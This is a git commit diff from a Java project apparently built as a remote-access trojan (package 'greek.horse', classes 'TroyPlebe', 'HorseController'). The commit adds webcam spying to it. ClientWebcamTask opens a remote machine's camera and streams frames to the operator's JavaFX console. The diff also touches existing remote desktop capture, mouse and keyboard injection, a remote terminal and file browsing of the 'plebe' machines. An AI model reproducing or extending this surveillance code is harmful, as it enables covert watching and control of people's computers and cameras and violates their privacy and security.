Browse Source

added webcam feature & small fixes everywhere

main
mainSpi 3 years ago
parent
commit
519e95cdc0
  1. 5
      pom.xml
  2. BIN
      shade/Server.jar
  3. 26
      src/main/java/greek/horse/client/ClientSocketManager.java
  4. 107
      src/main/java/greek/horse/client/tasks/ClientWebcamTask.java
  5. 9
      src/main/java/greek/horse/client/tasks/DesktopTask.java
  6. 2
      src/main/java/greek/horse/models/RequestFunctionType.java
  7. 36
      src/main/java/greek/horse/models/WebcamInfoWrapper.java
  8. 32
      src/main/java/greek/horse/server/troyStructure/TroyPlebe.java
  9. 20
      src/main/java/greek/horse/server/ui/controllers/HorseController.java
  10. 51
      src/main/java/greek/horse/server/ui/controllers/MonitorDesktopController.java
  11. 48
      src/main/java/greek/horse/server/ui/controllers/WebcamController.java
  12. 31
      src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java
  13. 194
      src/main/java/greek/horse/server/ui/controllers/tasks/WebcamTask.java
  14. 8
      src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java
  15. 23
      src/main/java/greek/horse/test/Test.java
  16. BIN
      src/main/resources/images/diverse/webcam.png
  17. 2
      src/main/resources/scenes/desktop.fxml
  18. 6
      src/main/resources/scenes/webcam.fxml
  19. BIN
      target/chat-1.0-SNAPSHOT.jar
  20. BIN
      target/classes/greek/horse/client/ClientSocketManager$1.class
  21. BIN
      target/classes/greek/horse/client/ClientSocketManager.class
  22. BIN
      target/classes/greek/horse/client/tasks/ClientWebcamTask.class
  23. BIN
      target/classes/greek/horse/client/tasks/DesktopTask.class
  24. BIN
      target/classes/greek/horse/models/FileStruct.class
  25. BIN
      target/classes/greek/horse/models/RequestFunctionType.class
  26. BIN
      target/classes/greek/horse/models/WebcamInfoWrapper.class
  27. BIN
      target/classes/greek/horse/server/troyStructure/TroyPlebe.class
  28. BIN
      target/classes/greek/horse/server/ui/controllers/FileBrowserController.class
  29. BIN
      target/classes/greek/horse/server/ui/controllers/HorseController.class
  30. BIN
      target/classes/greek/horse/server/ui/controllers/MonitorDesktopController$1.class
  31. BIN
      target/classes/greek/horse/server/ui/controllers/MonitorDesktopController.class
  32. BIN
      target/classes/greek/horse/server/ui/controllers/WebcamController.class
  33. BIN
      target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class
  34. BIN
      target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class
  35. BIN
      target/classes/greek/horse/server/ui/controllers/tasks/WebcamTask$1.class
  36. BIN
      target/classes/greek/horse/server/ui/controllers/tasks/WebcamTask.class
  37. BIN
      target/classes/greek/horse/server/ui/formmaters/HorseRowFactory$1.class
  38. BIN
      target/classes/greek/horse/server/ui/formmaters/HorseRowFactory.class
  39. BIN
      target/classes/greek/horse/test/Test.class
  40. BIN
      target/classes/images/diverse/webcam.png
  41. 2
      target/classes/scenes/desktop.fxml
  42. 6
      target/classes/scenes/webcam.fxml
  43. 40
      target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst

5
pom.xml

@ -62,6 +62,11 @@
<version>[0.4, 0.5)</version>
</dependency>
<dependency>
<groupId>com.github.sarxos</groupId>
<artifactId>webcam-capture</artifactId>
<version>0.3.12</version>
</dependency>
<dependency>
<groupId>org.openjfx</groupId>

BIN
shade/Server.jar

26
src/main/java/greek/horse/client/ClientSocketManager.java

@ -1,6 +1,8 @@
package greek.horse.client;
import com.github.sarxos.webcam.Webcam;
import greek.horse.client.tasks.ClientChatTask;
import greek.horse.client.tasks.ClientWebcamTask;
import greek.horse.client.tasks.DesktopTask;
import greek.horse.models.*;
import okhttp3.Request;
@ -44,6 +46,7 @@ public class ClientSocketManager {
private final ClientTerminalTask terminalTask = new ClientTerminalTask(this);
private final LockTask lockTask = headless ? null : new LockTask(this, bot);
private final DesktopTask desktopTask = headless ? null : new DesktopTask(this, bot);
private final ClientWebcamTask webcamTask = new ClientWebcamTask(this);
private final ClientChatTask chatTask = headless ? null : new ClientChatTask(this);
private static final boolean headless = GraphicsEnvironment.isHeadless();
@ -61,6 +64,7 @@ public class ClientSocketManager {
threadPool.execute(chatTask);
}
threadPool.execute(terminalTask);
threadPool.execute(webcamTask);
}
private static HashMap<Integer, Integer> createMap() {
@ -158,6 +162,12 @@ public class ClientSocketManager {
return refreshDesktop(o, ticket);
case MONITOR_COUNT:
return getMonitorCount();
case WEBCAM_START:
return startWebcam(o, ticket);
case WEBCAM_REFRESH:
return refreshWebcam(o, ticket);
case WEBCAM_LIST:
return getWebcamList();
case DISCONNECT:
return doDisconnect();
case USER_INPUT:
@ -190,6 +200,21 @@ public class ClientSocketManager {
return null;
}
private Object getWebcamList() {
return Webcam.getWebcams().stream().map(Webcam::getName).collect(Collectors.toList());
}
private Object refreshWebcam(Object o, FunctionTicket ticket) {
webcamTask.setInfo((WebcamInfoWrapper) o);
return null;
}
private Object startWebcam(Object o, FunctionTicket ticket) {
webcamTask.setInfo((WebcamInfoWrapper) o);
webcamTask.setTicket(ticket);
return null;
}
private Object sendMessage(Object o) {
chatTask.addMessage((String) o);
return null;
@ -406,7 +431,6 @@ public class ClientSocketManager {
private Object startDesktop(Object readObj, FunctionTicket ticket) {
desktopTask.setInfo((MonitorDesktopWrapper) readObj);
desktopTask.setTicket(ticket);
return null;
}

107
src/main/java/greek/horse/client/tasks/ClientWebcamTask.java

@ -0,0 +1,107 @@
package greek.horse.client.tasks;
import com.github.sarxos.webcam.Webcam;
import greek.horse.client.ClientSocketManager;
import greek.horse.models.FunctionTicket;
import greek.horse.models.WebcamInfoWrapper;
import net.coobird.thumbnailator.Thumbnails;
import org.apache.log4j.Logger;
import org.jetbrains.annotations.NotNull;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicReference;
public class ClientWebcamTask implements Runnable {
private final ClientSocketManager client;
private FunctionTicket ticket;
private final AtomicReference<WebcamInfoWrapper> info = new AtomicReference<>();
private static final int interval = 100;
private static final Logger log = Logger.getLogger(ClientWebcamTask.class);
private Webcam webcam;
public ClientWebcamTask(ClientSocketManager client) {
this.client = client;
}
@Override
public void run() {
while (client.getRunning().get()) {
if (ticket != null && this.client.getFixedMap().containsKey(ticket)) {
long time = System.currentTimeMillis() + interval;
while (client.getRunning().get() && client.getFixedMap().containsKey(ticket)) {
try {
if (System.currentTimeMillis() < time) {
Thread.sleep(10);
continue;
} else {
time = System.currentTimeMillis() + interval;
}
double w = info.getAcquire().getWidth();
double h = info.getAcquire().getHeight();
HashMap<FunctionTicket, Object> answerMap = new HashMap<>();
answerMap.put(ticket, getBytesObject(w, h));
client.getOos().getAcquire().writeObject(answerMap);
client.getOos().getAcquire().flush();
} catch (Exception e) {
log.error("Error capturing webcam",e);
}
}
}
try {
Thread.sleep(500);
} catch (InterruptedException e) {
log.error(e);
}
}
}
@NotNull
private Object getBytesObject(double W, double H) throws IOException, InterruptedException {
while(!webcam.isOpen()){
Thread.sleep(10);
}
BufferedImage screenCapture = webcam.getImage();
double w = screenCapture.getWidth();
double h = screenCapture.getHeight();
double x = W / w;
double y = H / h;
double lastScale = Math.min(x, y);
BufferedImage bi = Thumbnails.of(screenCapture).forceSize((int) (w * lastScale), (int) (h * lastScale)).asBufferedImage();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(bi, "gif", baos);
return baos.toByteArray();
}
public void setTicket(FunctionTicket ticket) {
this.ticket = ticket;
}
public void setInfo(WebcamInfoWrapper info) {
this.info.lazySet(info);
Webcam newWebcam = Webcam.getWebcamByName(info.getWebcamName());
if (this.webcam != null){
if (!newWebcam.getName().contentEquals(this.webcam.getName())){
this.webcam.close();
this.webcam = newWebcam;
this.webcam.open(true);
}
} else {
this.webcam = newWebcam;
this.webcam.open(true);
}
}
}

9
src/main/java/greek/horse/client/tasks/DesktopTask.java

@ -22,7 +22,7 @@ public class DesktopTask implements Runnable {
private FunctionTicket ticket;
private final AtomicReference<MonitorDesktopWrapper> info = new AtomicReference<>();
private double lastScale;
private static final int interval = 200;
private static final int interval = 100;
private static final Logger log = Logger.getLogger(DesktopTask.class);
private Rectangle lastRect;
@ -57,8 +57,7 @@ public class DesktopTask implements Runnable {
client.getOos().getAcquire().flush();
} catch (Exception e) {
// e.printStackTrace();
log.error(e);
log.error("Error capturing screen",e);
}
}
@ -130,8 +129,4 @@ public class DesktopTask implements Runnable {
public void setInfo(MonitorDesktopWrapper info) {
this.info.lazySet(info);
}
public double getLastScale() {
return lastScale;
}
}

2
src/main/java/greek/horse/models/RequestFunctionType.java

@ -15,7 +15,7 @@ public enum RequestFunctionType implements Serializable {
DESKTOP_START, DESKTOP_REFRESH, USER_INPUT, MONITOR_COUNT,
WEBCAM_START, WEBCAM_REFRESH, WEBCAM_COUNT,
WEBCAM_START, WEBCAM_REFRESH, WEBCAM_LIST,
FILES,

36
src/main/java/greek/horse/models/WebcamInfoWrapper.java

@ -0,0 +1,36 @@
package greek.horse.models;
import java.io.Serializable;
public class WebcamInfoWrapper implements Serializable {
private final double width;
private final double height;
private final String webcamName;
public WebcamInfoWrapper(double width, double h, String selectedIndex) {
this.width = width;
this.height = h;
this.webcamName = selectedIndex;
}
@Override
public String toString() {
return "WebcamInfoWrapper{" +
"width=" + width +
", height=" + height +
", webcamName=" + webcamName +
'}';
}
public double getWidth() {
return width;
}
public double getHeight() {
return height;
}
public String getWebcamName() {
return webcamName;
}
}

32
src/main/java/greek/horse/server/troyStructure/TroyPlebe.java

@ -7,6 +7,7 @@ import greek.horse.server.troyStructure.request.UniqueTroyRequest;
import greek.horse.server.ui.controllers.tasks.ChatTask;
import greek.horse.server.ui.controllers.tasks.MonitorDesktopTask;
import greek.horse.server.ui.controllers.tasks.TerminalTask;
import greek.horse.server.ui.controllers.tasks.WebcamTask;
import java.io.Serializable;
import java.nio.file.Path;
@ -21,9 +22,10 @@ public class TroyPlebe {
private CopyOnWriteArrayList<TroyRequest> requests = new CopyOnWriteArrayList<>();
private static final Serializable EMPTY = "";
private ChatTask chatTask = new ChatTask(this);
private MonitorDesktopTask monitorDesktopTask = new MonitorDesktopTask(this);
private TerminalTask terminalTask = new TerminalTask(this);
private final ChatTask chatTask = new ChatTask(this);
private final MonitorDesktopTask monitorDesktopTask = new MonitorDesktopTask(this);
private final TerminalTask terminalTask = new TerminalTask(this);
private final WebcamTask webcamTask = new WebcamTask(this);
public TroyPlebe(String id) {
this.id = id;
@ -70,12 +72,18 @@ public class TroyPlebe {
requests.add(req);
}
public RecurrentTroyRequest startScreenCapture(MonitorDesktopWrapper wrapper) {
public RecurrentTroyRequest startDesktop(MonitorDesktopWrapper wrapper) {
RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunctionType.DESKTOP_START);
requests.add(req);
return req;
}
public RecurrentTroyRequest startWebcam(WebcamInfoWrapper wrapper) {
RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunctionType.WEBCAM_START);
requests.add(req);
return req;
}
public void sendUserInputs(ArrayList<UserInput> inputs) {
UniqueTroyRequest req = new UniqueTroyRequest(this, inputs, RequestFunctionType.USER_INPUT, false);
requests.add(req);
@ -172,6 +180,11 @@ public class TroyPlebe {
requests.add(req);
}
public void refreshWebcam(WebcamInfoWrapper wrapper) {
UniqueTroyRequest req = new UniqueTroyRequest(this, wrapper, RequestFunctionType.WEBCAM_REFRESH, false);
requests.add(req);
}
public void turnOff() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.TURN_OFF, false);
requests.add(req);
@ -183,7 +196,11 @@ public class TroyPlebe {
return req;
}
public UniqueTroyRequest getWebcamCount() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.WEBCAM_LIST, true);
requests.add(req);
return req;
}
@Override
public String toString() {
@ -226,4 +243,9 @@ public class TroyPlebe {
public TerminalTask getTerminalTask() {
return terminalTask;
}
public WebcamTask getWebcamTask() {
return webcamTask;
}
}

20
src/main/java/greek/horse/server/ui/controllers/HorseController.java

@ -382,6 +382,26 @@ public class HorseController {
log.error("Error getting info from row: ", e);
}
}
public void contextWebcam(TableRow<NetInfoTable> row) {
try {
TroyPlebe tp = row.getItem().getFather();
boolean running = tp.getWebcamTask().getRunning().get();
if (!running) {
List<String> list = (List<String>) tp.getWebcamCount().getReceivedObj();
if (list.isEmpty()){
showDialog("No webcams found", "Plebe has no webcams available.", Alert.AlertType.ERROR);
return;
}
tp.getWebcamTask().getRunning().set(true);
threadPool.execute(tp.getWebcamTask());
}
} catch (Exception e) {
log.error("Error getting info from row: ", e);
}
}
}

51
src/main/java/greek/horse/server/ui/controllers/MonitorDesktopController.java

@ -30,7 +30,6 @@ public class MonitorDesktopController {
public Text fpsText;
public ChoiceBox<String> choiceBox;
public Text statusCircleText;
private Stage stage;
private final CopyOnWriteArrayList<UserInput> clicksInputs = new CopyOnWriteArrayList<>();
private final CopyOnWriteArrayList<UserInput> keysInputs = new CopyOnWriteArrayList<>();
@ -45,8 +44,7 @@ public class MonitorDesktopController {
return map;
}
public void setStage(Stage stage) {
this.stage = stage;
public void startListeners(Stage stage) {
stage.getScene().setOnKeyPressed(e -> {
if (stage.isShowing() && isSendingKeys()) {
UserInput press = new UserInput(e.getCode().getCode(), Mode.KEY_PRESSED);
@ -76,28 +74,12 @@ public class MonitorDesktopController {
});
}
public Stage getStage() {
return stage;
}
public void setImage(BufferedImage screenCapture) {
imageView.setFitWidth(screenCapture.getWidth());
imageView.setFitHeight(screenCapture.getHeight());
imageView.setImage(SwingFXUtils.toFXImage(screenCapture, null));
}
public boolean isCompressed() {
return compressionCheck.isSelected();
}
public boolean isSendingKeys() {
return keysCheck.isSelected();
}
public boolean isSendingClicks() {
return clicksCheck.isSelected();
}
private int getButton(MouseButton button) {
return switch (button) {
case PRIMARY -> InputEvent.BUTTON1_DOWN_MASK;
@ -138,15 +120,7 @@ public class MonitorDesktopController {
}
}
public void setTask(MonitorDesktopTask monitorDesktopTask) {
this.task = monitorDesktopTask;
}
public void toggleImageCompression(ActionEvent event) {
this.task.refreshSettings();
}
public void setFpsText(int fps) {
public void setFpsText(double fps) {
if (fps>=4){
statusCircleText.setFill(Color.rgb(0,150,0));
} else if (fps==3){
@ -155,6 +129,25 @@ public class MonitorDesktopController {
statusCircleText.setFill(Color.rgb(200,0,0));
}
this.fpsText.setText(String.valueOf(fps));
this.fpsText.setText(String.format("%.2f", fps).replace(",", "."));
}
public void toggleImageCompression(ActionEvent event) {
this.task.refreshSettings();
}
public void setTask(MonitorDesktopTask monitorDesktopTask) {
this.task = monitorDesktopTask;
}
public boolean isCompressed() {
return compressionCheck.isSelected();
}
public boolean isSendingKeys() {
return keysCheck.isSelected();
}
public boolean isSendingClicks() {
return clicksCheck.isSelected();
}
}

48
src/main/java/greek/horse/server/ui/controllers/WebcamController.java

@ -1,4 +1,52 @@
package greek.horse.server.ui.controllers;
import greek.horse.server.ui.controllers.tasks.WebcamTask;
import javafx.beans.value.ChangeListener;
import javafx.embed.swing.SwingFXUtils;
import javafx.scene.control.ChoiceBox;
import javafx.scene.image.ImageView;
import javafx.scene.paint.Color;
import javafx.scene.text.Text;
import java.awt.image.BufferedImage;
public class WebcamController {
public ImageView imageView;
public ChoiceBox<String> choiceBox;
public Text statusCircleText;
public Text fpsText;
private WebcamTask task;
public void configureChoiceBox() {
choiceBox.getSelectionModel().selectFirst();
choiceBox.getSelectionModel().selectedIndexProperty()
.addListener((observableValue, oldIndex, newIndex) -> {
if (oldIndex.intValue() != newIndex.intValue()) {
task.refreshSettings(newIndex.intValue());
}
});
}
public void setImage(BufferedImage screenCapture) {
imageView.setFitWidth(screenCapture.getWidth());
imageView.setFitHeight(screenCapture.getHeight());
imageView.setImage(SwingFXUtils.toFXImage(screenCapture, null));
}
public void setFpsText(double fps) {
if (fps >= 4) {
statusCircleText.setFill(Color.rgb(0, 150, 0));
} else if (fps == 3) {
statusCircleText.setFill(Color.DARKGOLDENROD);
} else {
statusCircleText.setFill(Color.rgb(200, 0, 0));
}
this.fpsText.setText(String.format("%.2f", fps).replace(",", "."));
}
public void setTask(WebcamTask webcamTask) {
this.task = webcamTask;
}
}

31
src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java

@ -33,8 +33,9 @@ public class MonitorDesktopTask implements Runnable {
private MonitorDesktopController controller;
private RecurrentTroyRequest request;
private Timer timer;
private Stage stage;
private static final Logger log = Logger.getLogger(MonitorDesktopController.class);
private static final Logger log = Logger.getLogger(MonitorDesktopTask.class);
public MonitorDesktopTask(TroyPlebe tp) {
this.plebe = tp;
@ -45,7 +46,7 @@ public class MonitorDesktopTask implements Runnable {
AtomicBoolean start = new AtomicBoolean(false);
Platform.runLater(() -> {
try {
Stage stage = new Stage();
stage = new Stage();
stage.setTitle("Desktop Monitor - " + plebe.getTitle());
stage.getIcons().add(ChatApp.appIcon);
@ -58,7 +59,7 @@ public class MonitorDesktopTask implements Runnable {
stage.setOnCloseRequest(e -> this.running.set(false));
controller = loader.getController();
controller.setStage(stage);
controller.startListeners(stage);
controller.setTask(this);
EventHandler<MouseEvent> event = mouseEvent -> {
@ -106,7 +107,7 @@ public class MonitorDesktopTask implements Runnable {
}
Platform.runLater(() -> {
controller.getStage().hide();
stage.hide();
});
}
@ -131,10 +132,18 @@ public class MonitorDesktopTask implements Runnable {
}
private void startListening() {
double w = controller.getStage().getWidth() - 50;
double h = controller.getStage().getHeight() - 70;
double w = stage.getWidth() - 50;
double h = stage.getHeight() - 70;
request = plebe.startScreenCapture(new MonitorDesktopWrapper(w, h, controller.isCompressed(), 0));
while(controller.choiceBox.getItems().isEmpty()){
try {
Thread.sleep(20);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
request = plebe.startDesktop(new MonitorDesktopWrapper(w, h, controller.isCompressed(), 0));
ObservableList<Object> observableList = request.getObservableReceivedObjs();
@ -170,10 +179,10 @@ public class MonitorDesktopTask implements Runnable {
public void run() {
// refreshSettings();
Platform.runLater(() -> {
controller.setFpsText((int) (frameCount.get() / Math.floorDiv(System.currentTimeMillis() - initTime, 1000)));
controller.setFpsText((frameCount.get() / (double)Math.floorDiv(System.currentTimeMillis() - initTime, 1000)));
});
}
}, 2000, 2000);
}, 1000, 1000);
}
private ArrayList<UserInput> getInputs() {
@ -182,8 +191,8 @@ public class MonitorDesktopTask implements Runnable {
}
public void refreshSettings() {
double w = controller.getStage().getWidth() - 50;
double h = controller.getStage().getHeight() - 70;
double w = stage.getWidth() - 50;
double h = stage.getHeight() - 70;
this.plebe.refreshDesktop(new MonitorDesktopWrapper(w, h, controller.isCompressed(), controller.choiceBox.getSelectionModel().getSelectedIndex()));
}

194
src/main/java/greek/horse/server/ui/controllers/tasks/WebcamTask.java

@ -0,0 +1,194 @@
package greek.horse.server.ui.controllers.tasks;
import greek.horse.models.WebcamInfoWrapper;
import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.troyStructure.request.RecurrentTroyRequest;
import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.WebcamController;
import javafx.application.Platform;
import javafx.collections.ListChangeListener;
import javafx.collections.ObservableList;
import javafx.event.EventHandler;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Alert;
import javafx.scene.input.MouseEvent;
import javafx.stage.Modality;
import javafx.stage.Stage;
import org.apache.log4j.Logger;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicLong;
public class WebcamTask implements Runnable {
private final TroyPlebe plebe;
private final AtomicBoolean running = new AtomicBoolean(false);
private WebcamController controller;
private RecurrentTroyRequest request;
private Timer timer;
private static final Logger log = Logger.getLogger(WebcamTask.class);
private Stage stage;
public WebcamTask(TroyPlebe troyPlebe) {
this.plebe = troyPlebe;
}
@Override
public void run() {
AtomicBoolean start = new AtomicBoolean(false);
Platform.runLater(() -> {
try {
stage = new Stage();
stage.setTitle("Webcam - " + plebe.getTitle());
stage.getIcons().add(ChatApp.appIcon);
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/webcam.fxml"));
Parent root = loader.load();
Scene scene = new Scene(root);
stage.setScene(scene);
stage.setOnCloseRequest(e -> this.running.set(false));
controller = loader.getController();
controller.setTask(this);
EventHandler<MouseEvent> event = mouseEvent -> {
if (running.get()) {
refreshSettings();
}
};
scene.setOnMouseEntered(event);
scene.setOnMouseExited(event);
stage.show();
} catch (IOException e) {
e.printStackTrace();
} finally {
start.set(true);
}
});
loadWebcams();
while (!start.get()) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
startListening();
while (this.running.get() && this.plebe.getRunning().get()) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
log.error(e);
}
}
timer.cancel();
timer.purge();
if (this.plebe.getRunning().get() && !request.getReleased().get()) {
this.plebe.releaseRequest(request);
}
Platform.runLater(() -> {
stage.hide();
});
}
private void startListening() {
double w = stage.getWidth() - 50;
double h = stage.getHeight() - 70;
while(controller.choiceBox.getItems().isEmpty()){
try {
Thread.sleep(20);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
request = plebe.startWebcam(new WebcamInfoWrapper(w, h, controller.choiceBox.getSelectionModel().getSelectedItem()));
ObservableList<Object> observableList = request.getObservableReceivedObjs();
long initTime = System.currentTimeMillis();
AtomicLong frameCount = new AtomicLong();
ListChangeListener<? super Object> changeListener = listener -> {
listener.next(); // this is needed for some reason
// as many refreshes as arrived
for (Object obj : listener.getAddedSubList()) {
try {
BufferedImage bi = ImageIO.read(new ByteArrayInputStream((byte[]) obj));
controller.setImage(bi);
frameCount.getAndIncrement();
} catch (Exception e) {
log.error("Cast failed, image not set", e);
}
}
};
observableList.addListener(changeListener);
timer = new Timer();
timer.scheduleAtFixedRate(new TimerTask() {
@Override
public void run() {
Platform.runLater(() -> {
controller.setFpsText(((frameCount.get() / (double) Math.floorDiv(System.currentTimeMillis() - initTime, 1000))));
});
}
}, 1000, 1000);
}
private void loadWebcams() {
Platform.runLater(() -> {
try {
List<String> list = (List<String>) plebe.getWebcamCount().getReceivedObj();
if (list.isEmpty()) {
throw new IllegalArgumentException("No webcams found");
}
controller.choiceBox.getItems().clear();
controller.choiceBox.getItems().addAll(list);
} catch (Exception e) {
log.error("Failed to get webcams", e);
this.running.set(false);
} finally {
controller.configureChoiceBox();
}
});
}
public void refreshSettings() {
refreshSettings(controller.choiceBox.getSelectionModel().getSelectedIndex());
}
public void refreshSettings(int index) {
double w = stage.getWidth() - 50;
double h = stage.getHeight() - 70;
this.plebe.refreshWebcam(new WebcamInfoWrapper(w, h, controller.choiceBox.getItems().get(index)));
}
public AtomicBoolean getRunning() {
return running;
}
}

8
src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java

@ -30,8 +30,9 @@ public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableR
MenuItem browseFiles = new MenuItem("Browse files", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("fileBrowser", 0.07), null)));
MenuItem terminal = new MenuItem("Terminal", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("terminal", 0.07), null)));
MenuItem data = new MenuItem("Full data", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("data", 0.07), null)));
MenuItem webcam = new MenuItem("Webcam", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("webcam", 0.07), null)));
Menu monitoring = new Menu("Monitoring", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("monitoring", 0.07), null)));
monitoring.getItems().addAll(desktop, browseFiles, terminal, data);
monitoring.getItems().addAll(desktop, webcam, browseFiles, terminal, data);
MenuItem chat = new MenuItem("Chat", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("chat", 0.07), null)));
@ -82,6 +83,10 @@ public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableR
this.controller.contextFullData(row);
});
webcam.setOnAction(event ->{
this.controller.contextWebcam(row);
});
// sort of one time event
EventHandler<ContextMenuEvent> handler = new EventHandler<>() {
@Override
@ -92,6 +97,7 @@ public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableR
desktop.setDisable(true);
lock.setDisable(true);
chat.setDisable(true);
webcam.setDisable(true);
}
row.removeEventFilter(ContextMenuEvent.CONTEXT_MENU_REQUESTED, this);
}

23
src/main/java/greek/horse/test/Test.java

@ -1,31 +1,14 @@
package greek.horse.test;
import com.github.sarxos.webcam.Webcam;
import javax.swing.*;
import java.awt.*;
public class Test {
public static void main(String[] args) throws Exception {
int w = 0, h = 0, x = 0, y = 0;
for (GraphicsDevice device : GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices()) {
Rectangle bounds = device.getDefaultConfiguration().getBounds();
System.out.println(bounds);
w += bounds.getWidth();
w += Math.abs(bounds.getX());
h += bounds.getHeight();
h += Math.abs(bounds.getY());
x = x > bounds.getX() ? x : (int) bounds.getX();
y = y < bounds.getY() ? y : (int) bounds.getY();
}
System.out.println();
System.out.println(new Rectangle(0, 0, 10000, 10000));
JFrame frame = new JFrame();
frame.setSize(new Dimension((int) w, (int) h));
frame.setLocation(0, 0);
frame.setUndecorated(false);
frame.setVisible(true);
Webcam.getWebcams().stream().map(w -> w.getName()).forEach(System.out::println);
}
}

BIN
src/main/resources/images/diverse/webcam.png

After

Width: 256  |  Height: 256  |  Size: 17 KiB

2
src/main/resources/scenes/desktop.fxml

@ -22,7 +22,7 @@
<bottom>
<HBox alignment="CENTER" prefHeight="35.0" prefWidth="600.0" BorderPane.alignment="CENTER">
<children>
<ChoiceBox fx:id="choiceBox" prefHeight="25.0" prefWidth="93.0">
<ChoiceBox fx:id="choiceBox" focusTraversable="false" prefHeight="25.0" prefWidth="93.0">
<HBox.margin>
<Insets right="20.0" />
</HBox.margin>

6
src/main/resources/scenes/webcam.fxml

@ -9,9 +9,9 @@
<?import javafx.scene.text.Font?>
<?import javafx.scene.text.Text?>
<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="421.0" minWidth="664.0" prefHeight="421.0" prefWidth="664.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1">
<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="421.0" minWidth="664.0" prefHeight="421.0" prefWidth="664.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.WebcamController">
<center>
<ImageView fx:id="imageView" fitHeight="150.0" fitWidth="200.0" onMousePressed="#mousePressed" onMouseReleased="#MouseReleased" pickOnBounds="true" smooth="false" BorderPane.alignment="CENTER">
<ImageView fx:id="imageView" fitHeight="150.0" fitWidth="200.0" pickOnBounds="true" smooth="false" BorderPane.alignment="CENTER">
<viewport>
<Rectangle2D />
</viewport>
@ -20,7 +20,7 @@
<bottom>
<HBox alignment="CENTER" prefHeight="35.0" prefWidth="600.0" BorderPane.alignment="CENTER">
<children>
<ChoiceBox fx:id="choiceBox" prefHeight="25.0" prefWidth="93.0">
<ChoiceBox fx:id="choiceBox" prefHeight="25.0" prefWidth="212.0">
<HBox.margin>
<Insets right="20.0" />
</HBox.margin>

BIN
target/chat-1.0-SNAPSHOT.jar

BIN
target/classes/greek/horse/client/ClientSocketManager$1.class

BIN
target/classes/greek/horse/client/ClientSocketManager.class

BIN
target/classes/greek/horse/client/tasks/ClientWebcamTask.class

BIN
target/classes/greek/horse/client/tasks/DesktopTask.class

BIN
target/classes/greek/horse/models/FileStruct.class

BIN
target/classes/greek/horse/models/RequestFunctionType.class

BIN
target/classes/greek/horse/models/WebcamInfoWrapper.class

BIN
target/classes/greek/horse/server/troyStructure/TroyPlebe.class

BIN
target/classes/greek/horse/server/ui/controllers/FileBrowserController.class

BIN
target/classes/greek/horse/server/ui/controllers/HorseController.class

BIN
target/classes/greek/horse/server/ui/controllers/MonitorDesktopController$1.class

BIN
target/classes/greek/horse/server/ui/controllers/MonitorDesktopController.class

BIN
target/classes/greek/horse/server/ui/controllers/WebcamController.class

BIN
target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class

BIN
target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class

BIN
target/classes/greek/horse/server/ui/controllers/tasks/WebcamTask$1.class

BIN
target/classes/greek/horse/server/ui/controllers/tasks/WebcamTask.class

BIN
target/classes/greek/horse/server/ui/formmaters/HorseRowFactory$1.class

BIN
target/classes/greek/horse/server/ui/formmaters/HorseRowFactory.class

BIN
target/classes/greek/horse/test/Test.class

BIN
target/classes/images/diverse/webcam.png

After

Width: 256  |  Height: 256  |  Size: 17 KiB

2
target/classes/scenes/desktop.fxml

@ -22,7 +22,7 @@
<bottom>
<HBox alignment="CENTER" prefHeight="35.0" prefWidth="600.0" BorderPane.alignment="CENTER">
<children>
<ChoiceBox fx:id="choiceBox" prefHeight="25.0" prefWidth="93.0">
<ChoiceBox fx:id="choiceBox" focusTraversable="false" prefHeight="25.0" prefWidth="93.0">
<HBox.margin>
<Insets right="20.0" />
</HBox.margin>

6
target/classes/scenes/webcam.fxml

@ -9,9 +9,9 @@
<?import javafx.scene.text.Font?>
<?import javafx.scene.text.Text?>
<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="421.0" minWidth="664.0" prefHeight="421.0" prefWidth="664.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1">
